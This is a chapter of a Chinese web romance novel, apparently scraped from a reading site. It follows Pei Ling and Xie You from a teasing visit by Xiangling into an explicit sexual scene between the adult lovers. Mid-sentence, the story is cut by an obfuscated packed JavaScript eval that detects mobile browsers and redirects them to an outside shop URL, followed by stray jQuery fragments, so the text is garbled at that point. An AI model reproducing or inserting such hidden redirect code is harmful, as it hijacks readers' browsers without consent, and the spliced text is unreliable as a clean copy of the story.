110. 第 110 章

作品:《锦衣玉面

    “吱呀”一声,香菱先探进半个脑袋,眨着眼左右一望,瞧见谢攸立在门边,又瞥见裴泠正枕着手臂侧卧在床上。她的视线在两人脸上转了转,忽地停在他们都红肿湿润的唇上,眼睛倏地一亮,嘴角翘起:


    “哦——我就讲嘛,怎么叫了半天门才开,”她拖长了调子,“原来是关起门来偷偷做‘好事’呀!”


    反观裴泠神色一片坦然,谢攸真是有些局促了,立时借口要去倒水。


    香菱扭头朝着他背影,扬声道:“那个呆郎!灶上还煨着鸽子汤呢,你顺路端来,给阿姐补补气血。”


    谢攸在门外远远应了一声,脚步声渐远。


    “阿姐,”香菱这才轻唤着,走到床边,撩起裙摆蹲下身来,细细端详她的脸色,“阿姐,身上觉得如何?伤口还疼得厉害么?”


    “好多了,不觉疼了。”裴泠含笑应道,转而又问,“殿下醒了吗?”


    “昨夜里就醒啦!”香菱凑近些,压低声音,“阿姐你不晓得噢,他眼睛一睁看到我,活像撞见鬼哎,尖起嗓子嗷一声喊,吓得我魂都掉得咯!赶紧扑上去捂他的嘴,哪晓得……”她眨眨眼,手在胸口轻轻拍了拍,“这一捂,又把他捂昏过去!我守了一夜,心里头怦怦跳,就怕手重把他捂没了。结果今早人一醒,乖乖,像换了个魂似的,什么都记不得,只懵里懵懂地问‘这是哪块啊?我怎么不在王府啊?’……奇奇怪怪的。”


    裴泠沉默了片刻,而后微微颔首:“我知道了,明日我去看看他。”


    “好呀,”香菱应着,又细心叮嘱道,“阿姐,你眼下定要好好歇着,等会儿鸽子汤来了,趁热乎乎喝掉。血淌了那么多,元气亏得厉害,非得仔细补回来不可。午膳晚膳,我都直接端到房里头,你可不许下地乱走,一切等养好了气力再说。”


    裴泠轻轻点头:“辛苦你了香菱。”


    “辛苦什么呀,”香菱语气真切,“阿姐讲这种话,倒叫我心里头不过意了。你处置了朱际宗,就是救了我一条命,如今我不过送送饭,照应一下子,又算个什么事唻。”


    她仔细替裴泠掖好被角,又将床帐理了理,才直起身来:“阿姐,那我先出去咯,你乖乖歇歇啊。”


    正要转身,裴泠却忽然开口:“香菱。”


    香菱闻言忙又折回床边:“阿姐,怎么了?”


    那厢谢攸端着鸽子汤穿过廊庑,迎面正好碰上香菱走来。


    香菱一见着他,立刻用执帕子的手虚掩着唇,眼梢一弯,笑声从指缝里漏出来。待行至他身侧,脚步稍顿,仰脸便飞他一眼:


    “你呀,”她声音压得低低的,“可得仔细着些,别闹过头,晓得了伐?”


    说罢,也不等他回应,便抿着嘴,步履轻快地走了,只留下一句带着笑音的嘱咐:“汤要趁热喝呀——”


    别闹过头,闹什么?谢攸被她这句没头没尾的话说得一懵,只当是她们女儿家古怪的调笑,摇了摇头,端着汤继续往房里去。


    这一日,时光仿佛被蜜糖润透了,她就安安稳稳在身边,触手可及,想搂就搂,想亲就亲——就是得悠着点,不能亲过火了。他只觉这辈子都没过过这么好的日子,实在太幸福了。


    时间溜得飞快,仿佛才做了三两事,夜色便悄无声息地落了下来。


    厢房内帐幔低垂,一盏昏黄油灯在案头静静燃着,将两人的影子投在帐上,晕开一片朦胧暖调。


    谢攸侧身躺着,与她面对面。


    “你进宫之前是怎样的?”他轻声问,“听说……夫人去得早,泗国公也常年戍边,那时候是谁来照顾你?”


    裴泠抬起手,轻轻抚着他的脸颊:“没人照顾我,我照顾自己。”


    谢攸怔了怔:“可你进宫那年,也不过十二岁。”


    她笑了笑:“这年岁不算小了,怎么不能照顾自己?”


    “所以……你一直都是一个人?”谢攸的声音不自觉地放得更轻。


    “嗯,”她应得简单,目光垂了垂,“自打五岁起便是了。”


    “泗国公他……竟也不管你?他怎可如此?”


    裴泠神色依旧淡淡的:“他活着时会留些银钱给我,也会另备一份给邻舍妇人,托她们得空时看顾我一眼。”


    “那后来……他过世之后呢?”谢攸追问,声音有些发紧,“你怎么办?”


    裴泠静了片刻,语气平平地道:“总有活路。”


    话音落下,帐内也随之静了静。她显然不愿在此话头上多言,转而道:“背上伤口有些发痒。”


    谢攸立即被牵走了心神,忙道:“那是新肉在生,愈合得真快。”语气里带着欣慰,又掺着心疼,“我替你解开看看,若实在痒,帮你轻轻挠一挠。”


    言罢他便起身下床,就着昏黄的灯光寻来小剪。回到床上,小心翼翼地剪开裹伤的绢帛,借着烛光仔细检视,见伤处红肿已褪,边缘果然生出嫩红新肉。


    他用指腹在她伤口周围极轻地打圈,生怕弄疼了她,低声问:“这样可好些?”


    裴泠“嗯”了一声:“你躺下来。”


    “可躺下来我看不见。”


    “下来。”


    谢攸闻令,只好又躺了回去,手横过她手臂上方,绕至背后,指腹仍在打着圈儿,帮她疏解痒意。


    裴泠望着他的眼睛。


    “怎么了?“他低声问。


    她没有回答,只是抬手捧住他的脸,吻了上去。


    谢攸微微一怔,随即温柔回应。可吻着吻着,渐渐地,他察觉出几分异样。


    她的吻不再停留于唇间,而是不住向下,落在他下颌,又辗转至喉结。温热的触感像羽毛搔过,令他喉结不自觉地滚动。随后她又重新吻回他唇边,这一次,伸出舌尖,若有似无地轻探、挑逗。


    那只原本在她背后轻挠的手,停住了动作,转而握住她的臂,像是不知该将她推开,还是该拉得更近些。


    她整个人香喷喷的,头发是他洗的,身子是他擦的,此刻两块软玉贴上来。


    过火了,太过火了,他快烧起来了。


    他不知道她心里究竟是何念头,她难道真想要吗?可她伤得这样重,更何况现下又哪来肠衣?这如何能要?


    谢攸狠狠心,哑着嗓子把她推开:“……别这样。”


    裴泠抬起眼:“你对我没感觉了?”


    “怎么可能!”他叫起来。


    明明是太有感觉了,感觉多得快要炸开,全身血液都在嘶吼着往下冲。他闭了闭眼,艰难地说:“是怕扯到你的伤口。”


    话音未落,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869695|184422||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一只手隔着衣衫握住了他,自下而上,缓慢而有力地一拢。


    谢攸浑身猛地一颤,额角青筋突突直跳,所有理智在那一刹那绷成濒临断裂的弦。


    昏黄光线下,裴泠仰起脸,唇又贴上他的,伸出舌尖,轻轻舔过他的齿,把自己湿热的气息渡进去。而后,直勾勾地盯住他:


    “瞧,学宪大人的身体可比嘴诚实多了。”她声音低哑,裹着蛊惑的笑意,“再说一遍,是别这样,还是……要这样?”


    谢攸登时沸腾了。


    他根本做不到坐怀不乱,更受不住这诱惑,也就只剩最后一线挣扎:


    “……没有羊肠衣。”他声音暗哑。


    “有的。”裴泠答得很快,手上已在解他腰带。


    谢攸混沌的脑子费力运转:“哪儿来的?”


    抚上他紧绷的腰腹,她轻轻笑了一下:“问香菱拿的。”


    谢攸倏然想起晨间香菱那意味深长的眼神与那句“别闹过头”,原来……原来是这个意思。


    所以她早就打算好了,从她说伤口痒,或许更早……就盘算着今夜要……


    这还怎么忍?


    “亲我。”


    她尾音还未落下,一个炙热得近乎滚烫的吻便已蛮横地覆压上来。


    再也按捺不住,谢攸一手捧住她的后颈,指尖陷入她柔滑的发丝间,将她的脸牢牢固定在自己唇前。另一只手避开伤处,抚上她腰侧,手掌贴着温热的肌肤,指尖无意识地收紧,像要将她揉进掌心。


    撬开她的唇齿,他在她口中肆意勾缠,两簇暗火终于碰在一处,从舌尖到心口,寸寸燎原。


    彼此的呼吸彻底乱了,粗重地交织在床帷内,体温在厮磨中攀升。他带着反复被撩拨却不得不克制的火焰,与她一起燃烧。


    埋首。


    埋首吃下去。


    “科考之后……”裴泠一声轻喘,“你发热那夜,是不是梦到我了?”


    谢攸将那枚红玉从唇齿间吐出,轻轻吻着:“你怎么知道?”


    “你以为那是梦?”


    他一怔,动作顿住:“难道……不是?”


    “学宪大人那般熟稔,”她声调里渗着危险的试探,“当真毫无经验?”


    谢攸闻言猛地抬头,从她身前挣起来:“我没有经验,我是干净的,除了你,从未有过旁人,梦里也只有你。”


    裴泠笑起来:“原来学宪大人常做这样的梦。”


    他仍怔着,眼底浮着将信将疑的恍惚:“那夜……真的不是梦?”


    谢攸努力回想那一夜,起初只有一些朦胧碎片,然后记忆越来越具体,越来越清晰。


    裴泠,裴泠,裴泠……你待我便无半分情意么?


    你分明有意,说你心中有我!说!


    你是想我的,你也忍不住了。


    姐姐,你好香……是刚沐浴过么?


    ……尤其讨厌那个玉生,一个狐狸精!


    原来那不是梦。他耳后顿时烧了起来。


    裴泠忽地低下头,温热的唇凑近他滚动的喉结,轻轻一咬:


    “……我要你。”


    齿关松开些许,柔软的舌尖紧接着舔过那一小片湿痕,吐出的每个字都像带着钩子:


    “快给我。”